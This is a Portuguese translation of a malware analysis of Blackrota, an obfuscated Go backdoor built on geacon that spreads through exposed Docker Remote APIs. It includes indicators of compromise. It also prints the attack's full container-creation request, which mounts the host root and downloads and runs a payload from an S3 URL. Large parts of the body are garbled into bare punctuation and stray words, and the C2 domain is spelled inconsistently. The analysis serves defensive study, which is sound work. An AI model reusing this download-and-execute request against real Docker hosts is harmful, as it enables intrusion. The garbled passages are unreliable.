Blackrota, uma porta dos fundos fortemente ofuscada escrita em Go

O malware Go ELF mais ofuscado que vimos até hoje.





Prefácio

Recentemente, um backdoor Go malicioso que explorava uma vulnerabilidade de acesso não autorizado na API Docker Remote foi detectado no Honeypot Anglerfish.





Nós o chamamos de Blackrota porque seu domínio C2 é blackrota.ga .





O backdoor Blackrota está atualmente disponível apenas para Linux, no formato ELF e suporta arquiteturas x86 / x86-64.





Blackrota é configurado e compilado com base em geacon - a implementação CobaltStrike Beacon Go usada como CobaltStrike Beacon, que interage com CobaltStrike para controlar o host comprometido:





No entanto, esta é apenas uma implementação de alguns dos principais recursos do CobaltStrike Beacon original:





  • CMD_SHELL: execução de comandos Shell,





  • CMD_UPLOAD: upload de arquivos,





  • CMDDOWNLOAD: baixar arquivos especiais,





  • CMD_FILE _ ROWSE: visualizar o arquivo,





  • CMD_CD: mudar de diretório,





  • CMD_SLEEP: definir o tempo de atraso do sono,





  • CMD_PWD: retorna o diretório atual,





  • CMD_EXIT: sair.





geacon, Blackrota gobfuscate - . Gobfuscate - Go-, Go- :





  • ;





  • ;





  • ;





  • ;





  • .





, gobfuscate XOR , XOR, .





Go . , , , , . , , , Go . , Go.





, Go : RTSI (Runtime Symbol Information) RTTI (Runtime Type Information) . , Go, , Go. Go . , RTSI RTTI , , .





Blackrota gobfuscate , "life-door" . , , . .





, Go, , - , . Blackrota - Go ELF , .





Blackrota





Blackrota API Docker. :





POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
      
      



32/64 Blackrota URL :





https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
      
      



Blackrota

, Blackrota Go. go_parser IDAPro, , Go1.15.3, GOROOT path "/usr/local/Cellar/ go/1.15.3/libexec". , , , , , , .





, ( )





/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go

      
      



Blackrota

, , , , Blackrota .





:





:





, , , :





, , , Go , . , , , Blackrota geacon.





, Blackrota, :





  1. geacon Blackrota, ,





  2. idb2pat.py IDAPro (geacon.pat) geacon-,





  3. sigmake Flair Tools geacon (geacon.sig),





  4. geacon.sig Blackrota IDAPro, .





! , , , , geacon-, :





Blackrota

, , Go, Blackrota, geacon . , geacon.





, Blackrota XOR , , , . XOR. gobfuscate XOR , , , . XOR :





, , XOR XOR. , .





, Go, , , . - , @joakimkennedy, main:





main - :





- EKANS, , Blackrota:





O método de ofuscação usado no malware Blackrota e EKANS cria novas chamadas / problemas para desmontagem. À medida que a linguagem Go se torna mais popular e mais e mais malware é criado em Go no futuro, ficaremos de olho no que acontece.





IoCs





MD5:





e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
      
      



C&C:





blackrato.ga    165.227.199.214    ASN: 14061|DigitalOcean,_LLC
      
      



PS O artigo foi publicado com a permissão do autor. Minha primeira tradução, por favor, trate com compreensão.








All Articles